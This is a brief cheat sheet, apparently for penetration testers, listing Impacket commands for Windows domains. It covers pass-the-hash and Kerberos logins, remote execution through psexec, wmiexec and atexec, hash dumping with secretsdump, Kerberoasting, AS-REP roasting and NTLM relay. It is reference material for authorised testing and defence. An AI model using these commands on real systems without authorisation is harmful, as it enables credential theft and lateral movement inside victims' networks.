Impacket

Authentication

python3 <script>.py <domain>/<user>:<password>@<target>          # cleartext
python3 <script>.py <domain>/<user>@<target> -hashes <LM>:<NT>   # pass-the-hash
python3 <script>.py -k -no-pass <domain>/<user>@<target>         # kerberos ticket

Execution / Access

Tool	Use	Notes
`secretsdump.py`	Dump hashes remotely	`-sam SAM -system SYSTEM LOCAL` / `-ntds ntds.dit -system SYSTEM LOCAL` for offline
`psexec.py`	Remote cmd exec via SMB	Requires admin
`wmiexec.py`	Remote cmd exec via WMI	More stealthy than psexec
`smbexec.py`	Like psexec, writes cmds to a bat file	Useful when WMI/service creation restricted
`atexec.py`	Exec via AT scheduler	e.g. `atexec.py <domain>/<user>:<pass>@<target> "whoami"`

Credential Harvesting / Enumeration

Tool	Use
`lookupsid.py`	Enumerate users via SID bruteforce
`rpcdump.py <target>`	Dump RPC endpoint mapper info
`GetUserSPNs.py -dc-ip <ip>`	Kerberoasting, crack ticket hashes w/ hashcat
`GetNPUsers.py -dc-ip <ip> -no-pass -usersfile users.txt`	AS-REP Roasting (no pre-auth users)

SMB / File Interaction

smbclient.py <domain>/<user>:<pass>@<target>   # ls, cd, get, put
ntlmrelayx.py -tf targets.txt -smb2support     # NTLM relay (combine w/ Responder, --dump-hashes, --exec)

Notes

Auth formats: cleartext, NTLM hashes, Kerberos (-k, --aesKey)
Target formats: IP or hostname